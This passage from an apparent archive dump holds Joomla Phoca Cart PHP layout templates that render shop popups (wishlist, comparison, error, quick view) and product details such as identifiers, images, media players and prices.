aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$d['s']['c']['modal-dialog'] ?>">
<div class="<?php echo
$d['s']['c']['modal-content']
?>">
<div class="<?php echo
$d['s']['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo
$d['s']['i']['info-sign']
?>"></span> <?php echo $d['info_msg']
?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$d['s']['c']['modal-body'] ?>">
<?php if (isset($d['info_msg_additional'])
&& $d['info_msg_additional'] != '') { ?>
<div><?php echo $d['info_msg_additional'];
?></div>
<?php } ?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-primary'] ?>
ph-btn" role="button" <?php echo
$d['wishlist_view_href']; ?> ><span class="<?php
echo $d['s']['i']['shopping-cart']
?>"></span> <?php echo
JText::_('COM_PHOCACART_CONTINUE_SHOPPING'); ?></a>
</div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-success'] ?>
ph-btn" role="button" href="<?php echo
$d['link_wishlist']; ?>" ><span
class="<?php echo
$d['s']['i']['int-link']
?>"></span> <?php echo
JText::_('COM_PHOCACART_PROCEED_TO_WISH_LIST'); ?></a>
</div>
</div>
</div>
<div class="<?php echo
$d['s']['c']['modal-footer']
?>"></div>
</div>
</div>
</div>
popup_container_iframe.php000064400000003370151165411770012020
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$s = $d['s'];
$d['close'] = '<button type="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
data-dismiss="modal" ><span
aria-hidden="true">×</span></button>';
?>
<div id="<?php echo $d['id'] ?>"
class="<?php echo $s['c']['modal.zoom']
?>" tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true"
style="display:none">
<div class="<?php echo
$s['c']['modal-dialog'] ?> <?php echo
$s['c']['modal-lg'] ?>">
<div class="<?php echo
$s['c']['modal-content'] ?>">
<div class="<?php echo
$s['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo $d['icon']
?>"></span> <?php echo $d['title'];
?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$s['c']['modal-body'] ?>">
<?php
/* We paste the iframe dynamically per Javascript so it does
not include previous instance at start
<iframe frameborder="0"></iframe>
administrator/components/com_phocacart/libraries/phocacart/render/js.php
public static function renderAjaxAskAQuestion($options =
array()) {
*/
?>
</div>
<div class="<?php echo
$s['c']['modal-footer'] ?>"></div>
</div>
</div>
</div>
popup_error.php000064400000002610151165411770007640 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['close'] = '<button type="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
data-dismiss="modal" ><span
aria-hidden="true">×</span></button>';
?>
<div id="phAddToCartPopup" class="<?php echo
$d['s']['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$d['s']['c']['modal-dialog'] ?>">
<div class="<?php echo
$d['s']['c']['modal-content']
?>">
<div class="<?php echo
$d['s']['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo
$d['s']['i']['info-sign']
?>"></span> <?php echo
JText::_('COM_PHOCACART_ERROR'); ?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$d['s']['c']['modal-body'] ?>">
<?php echo $d['info_msg']; ?>
</div>
<div class="<?php echo
$d['s']['c']['modal-footer']
?>"></div>
</div>
</div>
</div>
popup_quickview.php000064400000003011151165411770010512 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
/*
* SET IN DEFAULT_QUICKVIEW.PHP of ITEM View
components/com_phocacart/views/item/tmpl/default_quickview.php
*
*/
$d = $displayData;
$d['close'] = '<button type="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
data-dismiss="modal" ><span
aria-hidden="true">×</span></button>';
?>
<div id="phQuickViewPopup" class="<?php echo
$s['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$s['c']['modal-dialog'] ?> <?php echo
$s['c']['modal-lg'] ?>">
<div class="<?php echo
$s['c']['modal-content'] ?>">
<div class="<?php echo
$s['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo
$d['s']['i']['quick-view']
?>"></span> <?php echo
JText::_('COM_PHOCACART_QUICK_VIEW'); ?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$s['c']['modal-body'] ?>">
<?php echo $d['content']; ?>
</div>
<div class="<?php echo
$s['c']['modal-footer'] ?>"></div>
</div>
</div>
</div>
popup_remove_from_compare.php000064400000005520151165411770012540
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['comparison_view_href'] =
'data-dismiss="modal"';
if (isset($d['comparison_view']) &&
$d['comparison_view'] == 1) {
$d['comparison_view_href'] =
'href="'.$d['link_comparison'].'"';
}
$d['comparison_view_href'] =
'data-dismiss="modal"';
$d['close'] = '<button
type="button" class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['comparison_view_href'].' ><span
aria-hidden="true">×</span></button>';
if (isset($d['comparison_view']) &&
$d['comparison_view'] == 1) {
$d['comparison_view_href'] =
'href="'.$d['link_comparison'].'"';
$d['close'] = '<a role="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['comparison_view_href'].' ><span
aria-hidden="true">×</span></a>';
}
?>
<div id="phRemoveFromComparePopup" class="<?php echo
$d['s']['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$d['s']['c']['modal-dialog'] ?>">
<div class="<?php echo
$d['s']['c']['modal-content']
?>">
<div class="<?php echo
$d['s']['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo
$d['s']['i']['info-sign']
?>"></span> <?php echo $d['info_msg']
?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$d['s']['c']['modal-body'] ?>">
<?php if (isset($d['info_msg_additional'])
&& $d['info_msg_additional'] != '') { ?>
<div><?php echo $d['info_msg_additional'];
?></div>
<?php } ?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-primary'] ?>
ph-btn" role="button" <?php echo
$d['comparison_view_href']; ?> ><span
class="<?php echo
$d['s']['i']['shopping-cart']
?>"></span> <?php echo
JText::_('COM_PHOCACART_CONTINUE_SHOPPING'); ?></a>
</div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-success'] ?>
ph-btn" role="button" href="<?php echo
$d['link_comparison']; ?>" ><span
class="<?php echo
$d['s']['i']['int-link']
?>"></span> <?php echo
JText::_('COM_PHOCACART_PROCEED_TO_COMPARISON_LIST');
?></a>
</div>
</div>
</div>
<div class="<?php echo
$d['s']['c']['modal-footer']
?>"></div>
</div>
</div>
</div>
popup_remove_from_wishlist.php000064400000005164151165411770012764
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['wishlist_view_href'] =
'data-dismiss="modal"';
$d['close'] = '<button
type="button" class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['wishlist_view_href'].' ><span
aria-hidden="true">×</span></button>';
if (isset($d['wishlist_view']) &&
$d['wishlist_view'] == 1) {
$d['wishlist_view_href'] =
'href="'.$d['link_wishlist'].'"';
$d['close'] = '<a role="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['wishlist_view_href'].' ><span
aria-hidden="true">×</span></a>';
}
?>
<div id="phRemoveFromWishListPopup" class="<?php echo
$d['s']['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$d['s']['c']['modal-dialog'] ?>">
<div class="<?php echo
$d['s']['c']['modal-content']
?>">
<div class="<?php echo
$d['s']['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo
$d['s']['i']['info-sign']
?>"></span> <?php echo $d['info_msg']
?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$d['s']['c']['modal-body'] ?>">
<?php if (isset($d['info_msg_additional'])
&& $d['info_msg_additional'] != '') { ?>
<div><?php echo $d['info_msg_additional'];
?></div>
<?php } ?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-primary'] ?>
ph-btn" role="button" <?php echo
$d['wishlist_view_href']; ?> ><span class="<?php
echo $d['s']['i']['shopping-cart']
?>"></span> <?php echo
JText::_('COM_PHOCACART_CONTINUE_SHOPPING'); ?></a>
</div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-success'] ?>
ph-btn" role="button" href="<?php echo
$d['link_wishlist']; ?>" ><span
class="<?php echo
$d['s']['i']['int-link']
?>"></span> <?php echo
JText::_('COM_PHOCACART_PROCEED_TO_WISH_LIST'); ?></a>
</div>
</div>
</div>
<div class="<?php echo
$d['s']['c']['modal-footer']
?>"></div>
</div>
</div>
</div>
product_id.php000064400000004601151165411770007422 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$x = $d['x'];
echo '<div id="phItemIdBox'. $d['typeview'] .
(int)$d['product_id'] .'">';
echo '<div class="'.
$d['class'].'">';
if (isset($x->sku) && $x->sku != '') {
echo '<div class="ph-item-sku-box">';
echo '<div
class="ph-sku-txt">'.JText::_('COM_PHOCACART_SKU').':</div>';
echo '<div
class="ph-sku">'.$x->sku.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->ean) && $x->ean != '') {
echo '<div class="ph-item-ean-box">';
echo '<div
class="ph-ean-txt">'.JText::_('COM_PHOCACART_EAN').':</div>';
echo '<div
class="ph-ean">'.$x->ean.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->upc) && $x->upc != '') {
echo '<div class="ph-item-upc-box">';
echo '<div
class="ph-upc-txt">'.JText::_('COM_PHOCACART_UPC').':</div>';
echo '<div
class="ph-upc">'.$x->upc.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->jan) && $x->jan != '') {
echo '<div class="ph-item-jan-box">';
echo '<div
class="ph-jan-txt">'.JText::_('COM_PHOCACART_JAN').':</div>';
echo '<div
class="ph-jan">'.$x->jan.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->isbn) && $x->isbn != '') {
echo '<div class="ph-item-isbn-box">';
echo '<div
class="ph-isbn-txt">'.JText::_('COM_PHOCACART_ISBN').':</div>';
echo '<div
class="ph-isbn">'.$x->isbn.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->mpn) && $x->mpn != '') {
echo '<div class="ph-item-mpn-box">';
echo '<div
class="ph-mpn-txt">'.JText::_('COM_PHOCACART_MPN').':</div>';
echo '<div
class="ph-mpn">'.$x->mpn.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->serial_number) && $x->serial_number !=
'') {
echo '<div class="ph-item-serial-number-box">';
echo '<div
class="ph-serial-number-txt">'.JText::_('COM_PHOCACART_SERIAL_NUMBER').':</div>';
echo '<div
class="ph-serial-number">'.$x->serial_number.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
echo '</div>';
echo '</div>';
?>product_image.php000064400000015140151165411770010110
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$productIdName =
'V'.$d['typeview'].'P'.(int)$d['product_id'];
$altValue =
PhocaCartImage::getAltTitle($d['title'],
$d['image']['image']->original);
if ($d['typeview'] == 'Pos') {
$d['t']['lazy_load_category_items'] = 0;
}
$class =
$d['s']['c']['img-responsive'].'
ph-image '. $d['image']['phil'].'
phjProductImage'.$productIdName;
$classSwitch =
$d['s']['c']['img-responsive'].'
ph-image phIR phjProductImageNoChange'.$productIdName;
$classSource = 'phjProductSource'.$productIdName;
$classLazyLoad = '';
if ($d['t']['lazy_load_category_items'] == 1) {
$classLazyLoad = 'ph-lazyload';
$class = $classLazyLoad . '
'.$d['s']['c']['img-responsive'].'
ph-image phjProductImage'.$productIdName;// Remove
$d['image']['phil'] for lazy loads (switch image
disabled)
}
$src =
JURI::base(true).'/'.$d['image']['image']->rel;
$srcImg =
JURI::base(true).'/'.$d['image']['image']->rel;
// fallback
$dataImg =
JURI::base(true).'/'.$d['image']['default']->rel;
// switch - back to default
$srcPlaceHolder = 'data:image/svg+xml,%3Csvg
xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0
'.(int)$d['t']['medium_image_width'] .'
'.(int)$d['t']['medium_image_height']
.'\'%3E%3C/svg%3E';
echo '<div class="phIBoxOH '. $d['layouttype']
. '">';
echo '<div class="phIBox
'.$classLazyLoad.'">';
if ($d['t']['display_webp_images'] == 1) {
$srcWebP =
JURI::base(true).'/'.$d['image']['image']->rel_webp;
$srcSetWebP =
JURI::base(true).'/'.$d['image']['image']->rel_webp;
$dataImgWebP =
JURI::base(true).'/'.$d['image']['default']->rel_webp;
if ($d['t']['lazy_load_category_items'] == 1) {
echo '<picture>';
//echo '<source type="image/webp"
data-src="'. $srcWebP.'" alt="' . $altValue .
'" class="' . $class . '" ' .
$d['image']['style'] . ' data-srcset="'
. $srcSetWebP . '" data-image="' . $dataImgWebP .
'" />';
// echo '<source type="image/webp"
data-src="'. $srcWebP.'" alt="' . $altValue .
'" data-srcset="' . $srcSetWebP . '"
data-image="' . $dataImgWebP . '" />';// TEST
// TEST 2 (removed data-src because it is transformed to src in
picture tag which is obsolete)
// class needed because of chaning attributes - changing attributes
changes images
echo '<source type="image/webp" alt="'
. $altValue . '" data-srcset="' . $srcSetWebP .
'" data-image="' . $dataImgWebP . '"
class="'.$classSource.'" />';
echo '<img src="'.$srcPlaceHolder.'"
data-src="'. $src.'"
alt="'.$altValue.'"
class="'.$class.'"
'.$d['image']['style'].'
data-image="'. $dataImg.'" />';
echo '</picture>';
} else {
echo '<picture>';
//echo '<source type="image/webp"
alt="' . $altValue . '" class="' . $class .
'" ' . $d['image']['style'] . '
srcset="' . $srcSetWebP . '" data-image="' .
$dataImg . '" />';
// class needed because of chaning attributes - changing attributes
changes images
echo '<source type="image/webp" alt="'
. $altValue . '" srcset="' . $srcSetWebP .
'" data-image="' . $dataImg . '"
class="'.$classSource.'" />';// TEST
echo '<img src="' . $srcImg . '"
alt="' . $altValue . '" class="' . $class .
'" ' . $d['image']['style'] . '
data-image="' . $dataImg . '" />';
echo '</picture>';
// Switch
if (isset($d['image']['second']->rel_webp)
&& $d['image']['second']->rel_webp !=
'') {
$switchImg =
JURI::base(true).'/'.$d['image']['second']->rel_webp;
// switch
echo '<span class="phIRBox"><img
src="'. $switchImg.'"
alt="'.$altValue.'"
class="'.$classSwitch.'" '.
$d['image']['style'].' /></span>';
}
}
} else {
if ($d['t']['lazy_load_category_items'] == 1) {
echo '<img src="'.$srcPlaceHolder.'"
data-src="'. $src.'"
alt="'.$altValue.'"
class="'.$class.'"
'.$d['image']['style'].'
data-image="'. $dataImg.'" />';
} else {
echo '<img src="'. $src.'"
alt="'.$altValue.'"
class="'.$class.'"
'.$d['image']['style'].'
data-image="'. $dataImg.'" />';
// Switch
if (isset($d['image']['second']->rel)
&& $d['image']['second']->rel !=
'') {
$switchImg =
JURI::base(true).'/'.$d['image']['second']->rel;
// switch
echo '<span class="phIRBox"><img
src="'. $switchImg.'"
alt="'.$altValue.'"
class="'.$classSwitch.'" '.
$d['image']['style'].' /></span>';
}
}
}
echo '</div>';// end phIBox
echo '</div>';// end phIBoxOH
/*
*
*
* //$class = 'ph-lazy img-responsive ph-image '.
$d['image']['phil'].'
phjProductImage'.$productIdName;
data-src="'. $src.'" - is in webp source for
//echo '<img src="data:image/svg+xml,%3Csvg
xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 640
428\'%3E%3C/svg%3E" data-src="'.
JURI::base(true).'/'.$d['image']->rel.'"
alt="'.$altValue.'" class="ph-lazy img-responsive
ph-image '. $d['image']['phil'].'
phjProductImage'.$productIdName.'"
'.$d['image']['style'].'
data-image="'.
JURI::base(true).'/'.$d['default_image']->rel.'"
/>';
//echo '<img src="data:image/svg+xml,%3Csvg
xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 640
428\'%3E%3C/svg%3E" data-src="'.
JURI::base(true).'/'.$d['image']->rel.'"
alt="'.$altValue.'" class="ph-lazy img-responsive
ph-image '. $d['image']['phil'].'
phjProductImage'.$productIdName.'"
'.$d['image']['style'].'
data-image="'.
JURI::base(true).'/'.$d['default_image']->rel.'"
/>';
echo '<picture>';
echo '<source type="image/webp"
alt="'.$altValue.'" data-src="'.
JURI::base(true).'/'.$d['image']->rel_webp.'"
alt="'.$altValue.'" data-srcset="'.
JURI::base(true).'/'.$d['image']->rel_webp.'"
alt="'.$altValue.'" class="ph-lazy img-responsive
ph-image '. $d['image']['phil'].'
phjProductImage'.$productIdName.'"
'.$d['image']['style'].'
data-image="'.
JURI::base(true).'/'.$d['default_image']->rel.'"
/>';
echo '<img src="data:image/svg+xml,%3Csvg
xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 640
428\'%3E%3C/svg%3E" data-src="'.
JURI::base(true).'/'.$d['image']->rel.'"
alt="'.$altValue.'" class="ph-lazy img-responsive
ph-image '. $d['image']['phil'].'
phjProductImage'.$productIdName.'"
'.$d['image']['style'].'
data-image="'.
JURI::base(true).'/'.$d['default_image']->rel.'"
/>';
echo '</picture>';
*/
?>
product_order_quantity.php000064400000001066151165411770012101
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div class="ph-item-min-qty-box">
<div class="ph-min-qty-txt"><?php echo
$d['text']; ?></div>
<div class="ph-min-qty"><?php echo
$d['status']; ?></div>
</div>
<div class="ph-cb"></div>
product_play.php000064400000003044151165411770007773 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
if (isset($d['publicplayfile']) &&
$d['publicplayfile'] != '') {
$ext =
\Joomla\CMS\Filesystem\File::getExt($d['publicplayfile']);
echo '<div class="ph-item-play-file">';
if (isset($d['title']) && $d['title'] !=
'') {
echo '<div
class="ph-item-play-title">'.$d['title'].'</div>';
}
switch($ext) {
case 'mp3':
case 'm4a':
echo '<audio controls><source
src="'.$d['pathpublicfile']['orig_rel_path_ds'].$d['publicplayfile'].'"
type="audio/mpeg"></audio>';
break;
case 'ogg':
case 'oga':
echo '<audio controls><source
src="'.$d['pathpublicfile']['orig_rel_path_ds'].$d['publicplayfile'].'"
type="audio/ogg"></audio>';
break;
case 'mp4':
case 'm4v':
echo '<video controls><source
src="'.$d['pathpublicfile']['orig_rel_path_ds'].$d['publicplayfile'].'"
type="video/mp4"></video>';
break;
case 'ogv':
echo '<video controls><source
src="'.$d['pathpublicfile']['orig_rel_path_ds'].$d['publicplayfile'].'"
type="video/ogg"></video>';
break;
default:
break;
}
echo '</div>';
}
product_price.php000064400000020457151165411770010137 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$paramsC = PhocacartUtils::getComponentParameters();
$zero_price_text = $paramsC->get( 'zero_price_text',
'' );
$zero_price_label = $paramsC->get( 'zero_price_label',
'' );
$price_on_demand_text = $paramsC->get(
'price_on_demand_text', '' );
$price_on_demand_label = $paramsC->get(
'price_on_demand_label', '' );
if ($zero_price_label == '0') {
}
$d = $displayData;
$classPS = 'ph-standard';// class price suffix
if (isset($d['discount']) && $d['discount']) {
$classPS = 'ph-line-through';
}
?>
<div id="phItemPriceBox<?php echo $d['typeview'] .
(int)$d['product_id']; ?>">
<div class="<?php echo $d['class']; ?>">
<?php if
(isset($d['priceitemsorig']['bruttoformat']) &&
$d['priceitemsorig']['bruttoformat']) { ?>
<div class="ph-price-txt ph-price-original-txt"><?php
echo JText::_('COM_PHOCACART_ORIGINAL_PRICE') ?></div>
<div class="ph-price-original"><?php echo
$d['priceitemsorig']['bruttoformat'] ?></div>
<?php } ?>
<?php /*
if ($d['priceitemsorig']['brutto'] >
$d['priceitems']['brutto']) {
if (isset($d['priceitemsorig']['bruttoformat'])
&& $d['priceitemsorig']['bruttoformat']) {
?>
<div class="ph-price-txt"><?php echo
JText::_('COM_PHOCACART_ORIGINAL_PRICE') ?></div>
<div class="ph-price-original"><?php echo
$d['priceitemsorig']['bruttoformat'] ?></div>
<?php }
} */ ?>
<?php
// Display Price - there are a lot of variants
// a) when e.g. price is zero, different text can be displayed
// b) when product type (PRODUCTTYPE) is "Price On Demand" -
different text can be displayed (it can overwrite zero_price but if not
set, zero_price text and label are active
$labelNetto = '';
$labelTax = '';
$labelBrutto = '';
$priceNetto = '';
$priceTax = '';
$priceBrutto = '';
$displayPrice = 1;// At start display price = yes. If there will be
some condition which will hide the price then use the information e.g. for
discount prices (even disable them)
if ($d['priceitems']['netto'] &&
$d['priceitems']['taxcalc'] > 0 &&
($d['priceitems']['netto'] !=
$d['priceitems']['brutto'])) {
$labelNetto = '<div class="ph-price-txt ph-price-netto-txt
'.$classPS.'-txt">'.
$d['priceitems']['nettotxt'].'</div>';
$priceNetto = '<div class="ph-price-netto
'.$classPS.'">'.$d['priceitems']['nettoformat'].'</div>';
}
if ($d['priceitems']['tax'] &&
$d['priceitems']['taxcalc'] > 0) {
$labelTax = '<div class="ph-tax-txt
'.$classPS.'-txt">'.$d['priceitems']['taxtxt'].'</div>';
$priceTax = '<div class="ph-tax
'.$classPS.'">'.$d['priceitems']['taxformat'].'</div>';
}
if (isset($d['priceitems']['brutto'])) {
$labelBrutto = '<div class="ph-price-txt ph-price-brutto-txt
'.$classPS.'-txt">'.$d['priceitems']['bruttotxt'].'</div>';
$priceBrutto = '<div class="ph-price-brutto
'.$classPS.'">'.$d['priceitems']['bruttoformat'].'</div>';
}
if (isset($d['priceitems']['brutto']) &&
$d['priceitems']['brutto'] == 0 &&
isset($d['zero_price']) && $d['zero_price'] ==
1) {
$labelNetto = '';
$labelTax = '';
$priceNetto = '';
$priceTax = '';
// Text and Label instead of zero price
// Label - Nothing | Custom Text | Standard "Price" String
(ONLY IN CASE THE PRICE IS ZERO)
if ($zero_price_label == '0') {
$labelBrutto = '<div class="ph-price-txt
'.$classPS.'-txt"></div>';
} else if ($zero_price_label != '') {
$labelBrutto = '<div class="ph-price-txt
'.$classPS.'-txt">'.JText::_($zero_price_label).'</div>';
} else {
$labelBrutto = '<div class="ph-price-txt
'.$classPS.'-txt">'.$d['priceitems']['bruttotxt'].'</div>';
}
// Price - Custom Text | Standard Price (ONLY IN CASE THE PRICE IS
ZERO)
if ($zero_price_text == '0') {
$priceBrutto = '<div class="ph-price-brutto
'.$classPS.'>-txt"></div>';
$displayPrice = 0;
} else if ($zero_price_text != '') {
$priceBrutto = '<div class="ph-price-brutto
'.$classPS.'">'.JText::_($zero_price_text).'</div>';
$displayPrice = 0;
} else {
$priceBrutto = '<div class="ph-price-brutto
'.$classPS.'">'.$d['priceitems']['bruttoformat'].'</div>';
}
}
if (isset($d['type']) && $d['type'] == 3)
{
$labelNetto = '';
$labelTax = '';
$priceNetto = '';
$priceTax = '';
if ($price_on_demand_label == '0') {
$labelBrutto = '<div class="ph-price-txt
'.$classPS.'-txt"></div>';
$displayPrice = 0;
} else if ($price_on_demand_label != '') {
$labelBrutto = '<div class="ph-price-txt
'.$classPS.'-txt">'.JText::_($price_on_demand_label).'</div>';
$displayPrice = 0;
}
if ($price_on_demand_text == '0') {
$priceBrutto = '<div class="ph-price-brutto
'.$classPS.'-txt"></div>';
$displayPrice = 0;
} else if ($price_on_demand_text != '') {
$priceBrutto = '<div class="ph-price-brutto
'.$classPS.'-txt">'.JText::_($price_on_demand_text).'</div>';
$displayPrice = 0;
}
}
echo $labelNetto . $priceNetto;
echo $labelTax . $priceTax;
echo $labelBrutto . $priceBrutto;
?>
<?php
// PRODUCT DISCOUNT
if (isset ($d['discount']) && $d['discount']
&& $displayPrice == 1) { ?>
<?php if ($d['priceitemsdiscount']['netto']
&& $d['priceitemsdiscount']['taxcalc'] > 0
&&
($d['priceitemsdiscount']['brutto'] !=
$d['priceitemsdiscount']['netto'])) { ?>
<div class="ph-price-txt ph-price-netto-txt
ph-price-discount"><?php echo
$d['priceitemsdiscount']['nettotxt'] ?></div>
<div class="ph-price-netto ph-price-discount"><?php
echo $d['priceitemsdiscount']['nettoformat']
?></div>
<?php } ?>
<?php if ($d['priceitemsdiscount']['tax']
&& $d['priceitemsdiscount']['taxcalc'] > 0)
{ ?>
<div class="ph-tax-txt ph-price-discount"><?php echo
$d['priceitemsdiscount']['taxtxt'] ?></div>
<div class="ph-tax ph-price-discount"><?php echo
$d['priceitemsdiscount']['taxformat']
?></div>
<?php } ?>
<?php if ($d['priceitemsdiscount']['brutto']) {
?>
<div class="ph-price-txt ph-price-brutto-txt
ph-price-discount"><?php echo
$d['priceitemsdiscount']['bruttotxt']
?></div>
<div class="ph-price-brutto ph-price-discount
ph-price-discount-product"><?php echo
$d['priceitemsdiscount']['bruttoformat']
?></div>
<?php } ?>
<?php }?>
<?php
// CART DISCOUNT DISPLAYED IN PRODUCT VIEWS (under specific conditions
only)
if (isset ($d['discountcart']) &&
$d['discountcart'] && $displayPrice == 1) { ?>
<?php if ($d['priceitemsdiscountcart']['netto']
&& $d['priceitemsdiscountcart']['taxcalc'] >
0
&&
($d['priceitemsdiscountcart']['brutto'] !=
$d['priceitemsdiscountcart']['netto'])) { ?>
<div class="ph-price-txt ph-price-netto-txt
